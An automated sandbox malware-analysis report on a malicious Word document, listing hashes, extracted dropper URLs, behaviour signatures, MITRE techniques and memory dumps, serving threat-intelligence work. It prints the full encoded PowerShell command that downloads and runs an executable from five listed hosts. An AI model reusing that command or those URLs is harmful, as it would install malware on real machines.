2740a4f84916260f7c2620ac601b2a6018e8ea37064817a34799eb260cf72a62

General

Target

44b255cd98fa287a1fa1ce9880cf876d_JaffaCakes118.doc
Size

146KB
MD5

44b255cd98fa287a1fa1ce9880cf876d
SHA1

3fcd2f010e500500cba970330302ec0a2be952a0
SHA256

2740a4f84916260f7c2620ac601b2a6018e8ea37064817a34799eb260cf72a62
SHA512

973379b6f82bedaa655226a96224f95663c389c749fb7b9062ff6676ac8b6811b0ec230d45b992257da50e8306d319c83b67ac13cd247c65c4a9fbf25706be50
SSDEEP

3072:C7BEXb52k407g7Shs9RAQP4Ht4E/zovcdR:0cb52khFhs/A64HyE/svcD

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://purphost.com/Kt1eWvVze

exe.dropper

http://godfreybranco.com/yTX8dwH

exe.dropper

http://psi_test.farseasty.com/TbNnQfP

exe.dropper

http://facetickle.com/BNdtnlPbsh

exe.dropper

http://taoweb3trieu.com/mETrZmz

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

PoWersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2400	1644	PoWersheLL.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

PoWersheLL.exe

flow pid process

28 2400 PoWersheLL.exe

flow	pid	process
28	2400	PoWersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

1644 WINWORD.EXE
1644 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

PoWersheLL.exe

pid process

2400 PoWersheLL.exe
2400 PoWersheLL.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

PoWersheLL.exe

description pid process

Token: SeDebugPrivilege 2400 PoWersheLL.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

1644 WINWORD.EXE
1644 WINWORD.EXE
1644 WINWORD.EXE
1644 WINWORD.EXE
1644 WINWORD.EXE
1644 WINWORD.EXE
1644 WINWORD.EXE

pid	process
1644	WINWORD.EXE
1644	WINWORD.EXE

pid	process
2400	PoWersheLL.exe
2400	PoWersheLL.exe

description	pid	process
Token: SeDebugPrivilege	2400	PoWersheLL.exe

pid	process
1644	WINWORD.EXE
1644	WINWORD.EXE
1644	WINWORD.EXE
1644	WINWORD.EXE
1644	WINWORD.EXE
1644	WINWORD.EXE
1644	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 1644 wrote to memory of 2400	1644	WINWORD.EXE	PoWersheLL.exe
PID 1644 wrote to memory of 2400	1644	WINWORD.EXE	PoWersheLL.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\44b255cd98fa287a1fa1ce9880cf876d_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1644

C:\Windows\System32\WindowsPowerShell\v1.0\PoWersheLL.exe
PoWersheLL -e JABhAEcAZgBRAFoAWQBIAGkAPQAoACcAVwAnACsAJwBDAEgAWABMAEgAJwApADsAJABCAG0AaAB2AFMAVgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABFAGEAMABqAHUATAA5AD0AKAAnAGgAdAB0AHAAOgAvACcAKwAnAC8AcAB1AHIAcAAnACsAJwBoAG8AcwB0AC4AYwBvAG0ALwBLAHQAMQBlAFcAdgBWAHoAZQBAACcAKwAnAGgAdAB0AHAAJwArACcAOgAvAC8AJwArACcAZwAnACsAJwBvAGQAZgAnACsAJwByAGUAeQBiAHIAYQBuAGMAbwAuAGMAbwBtAC8AeQBUAFgAOAAnACsAJwBkAHcASABAAGgAdAB0AHAAOgAvAC8AcABzAGkAXwB0AGUAcwAnACsAJwB0AC4AZgBhAHIAJwArACcAcwBlAGEAcwB0AHkALgBjAG8AbQAvAFQAYgBOACcAKwAnAG4AUQBmAFAAQABoAHQAJwArACcAdABwACcAKwAnADoALwAnACsAJwAvAGYAYQAnACsAJwBjAGUAdAAnACsAJwBpAGMAawBsAGUALgBjAG8AbQAvACcAKwAnAEIATgBkAHQAbgBsACcAKwAnAFAAYgBzAGgAQABoAHQAJwArACcAdAAnACsAJwBwADoALwAvAHQAYQBvAHcAZQBiADMAJwArACcAdAByACcAKwAnAGkAZQB1AC4AJwArACcAYwBvACcAKwAnAG0ALwBtAEUAVAByAFoAJwArACcAbQB6ACcAKQAuAFMAcABsAGkAdAAoACcAQAAnACkAOwAkAFUANgBYAFQAUwB1AEsAawA9ACgAJwB3AHAAcgB3AHcARAB0ACcAKwAnAE8AJwApADsAJABpAEMAegBNADQAMwBLACAAPQAgACgAJwAxACcAKwAnADUANAAnACkAOwAkAFQAUgBKAHcAZgBVAD0AKAAnAGkAbQBGAHoARgAnACsAJwB2ACcAKwAnAGsAJwApADsAJABLAGoAdwBaAHMASABxAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAnAFwAJwArACQAaQBDAHoATQA0ADMASwArACgAJwAuACcAKwAnAGUAeABlACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAGMAagA4AFIANQBPACAAaQBuACAAJABFAGEAMABqAHUATAA5ACkAewB0AHIAeQB7ACQAQgBtAGgAdgBTAFYALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAYwBqADgAUgA1AE8ALAAgACQASwBqAHcAWgBzAEgAcQApADsAJABwAHUARwB3AGQASgA9ACgAJwBZAG4AUQAnACsAJwBFAG8ANwA4ACcAKQA7AEkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEsAagB3AFoAcwBIAHEAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABLAGoAdwBaAHMASABxADsAJABBAG4ATwBpAHoAWgBtAD0AKAAnAFMAMQAnACsAJwAyAGwAQgBNACcAKQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAewB9AH0AJABXAFkAegBWADUASQBqAD0AKAAnAGsAJwArACcAUgBZAEEAcAAnACsAJwBIACcAKQA7AA==
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2400

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCD7357.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zljmp1mw.yuc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1644-17-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp

Filesize
2.0MB

Download
memory/1644-5-0x00007FFBC98AD000-0x00007FFBC98AE000-memory.dmp

Filesize
4KB

Download
memory/1644-0-0x00007FFB89890000-0x00007FFB898A0000-memory.dmp

Filesize
64KB

Download
memory/1644-19-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp

Filesize
2.0MB

Download
memory/1644-6-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp

Filesize
2.0MB

Download
memory/1644-7-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp

Filesize
2.0MB

Download
memory/1644-8-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp

Filesize
2.0MB

Download
memory/1644-10-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp

Filesize
2.0MB

Download
memory/1644-9-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp

Filesize
2.0MB

Download
memory/1644-11-0x00007FFB87400000-0x00007FFB87410000-memory.dmp

Filesize
64KB

Download
memory/1644-13-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp

Filesize
2.0MB

Download
memory/1644-12-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp

Filesize
2.0MB

Download
memory/1644-14-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp

Filesize
2.0MB

Download
memory/1644-15-0x00007FFB87400000-0x00007FFB87410000-memory.dmp

Filesize
64KB

Download
memory/1644-16-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp

Filesize
2.0MB

Download
memory/1644-18-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp

Filesize
2.0MB

Download
memory/1644-1-0x00007FFB89890000-0x00007FFB898A0000-memory.dmp

Filesize
64KB

Download
memory/1644-36-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp

Filesize
2.0MB

Download
memory/1644-4-0x00007FFB89890000-0x00007FFB898A0000-memory.dmp

Filesize
64KB

Download
memory/1644-37-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp

Filesize
2.0MB

Download
memory/1644-40-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp

Filesize
2.0MB

Download
memory/1644-41-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp

Filesize
2.0MB

Download
memory/1644-568-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp

Filesize
2.0MB

Download
memory/1644-3-0x00007FFB89890000-0x00007FFB898A0000-memory.dmp

Filesize
64KB

Download
memory/1644-567-0x00007FFB89890000-0x00007FFB898A0000-memory.dmp

Filesize
64KB

Download
memory/1644-564-0x00007FFB89890000-0x00007FFB898A0000-memory.dmp

Filesize
64KB

Download
memory/1644-61-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp

Filesize
2.0MB

Download
memory/1644-62-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp

Filesize
2.0MB

Download
memory/1644-504-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp

Filesize
2.0MB

Download
memory/1644-2-0x00007FFB89890000-0x00007FFB898A0000-memory.dmp

Filesize
64KB

Download
memory/1644-541-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp

Filesize
2.0MB

Download
memory/1644-565-0x00007FFB89890000-0x00007FFB898A0000-memory.dmp

Filesize
64KB

Download
memory/1644-566-0x00007FFB89890000-0x00007FFB898A0000-memory.dmp

Filesize
64KB

Download
memory/2400-55-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp

Filesize
2.0MB

Download
memory/2400-45-0x0000029D76D40000-0x0000029D76D62000-memory.dmp

Filesize
136KB

Download
memory/2400-42-0x00007FFBC9810000-0x00007FFBC9A05000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads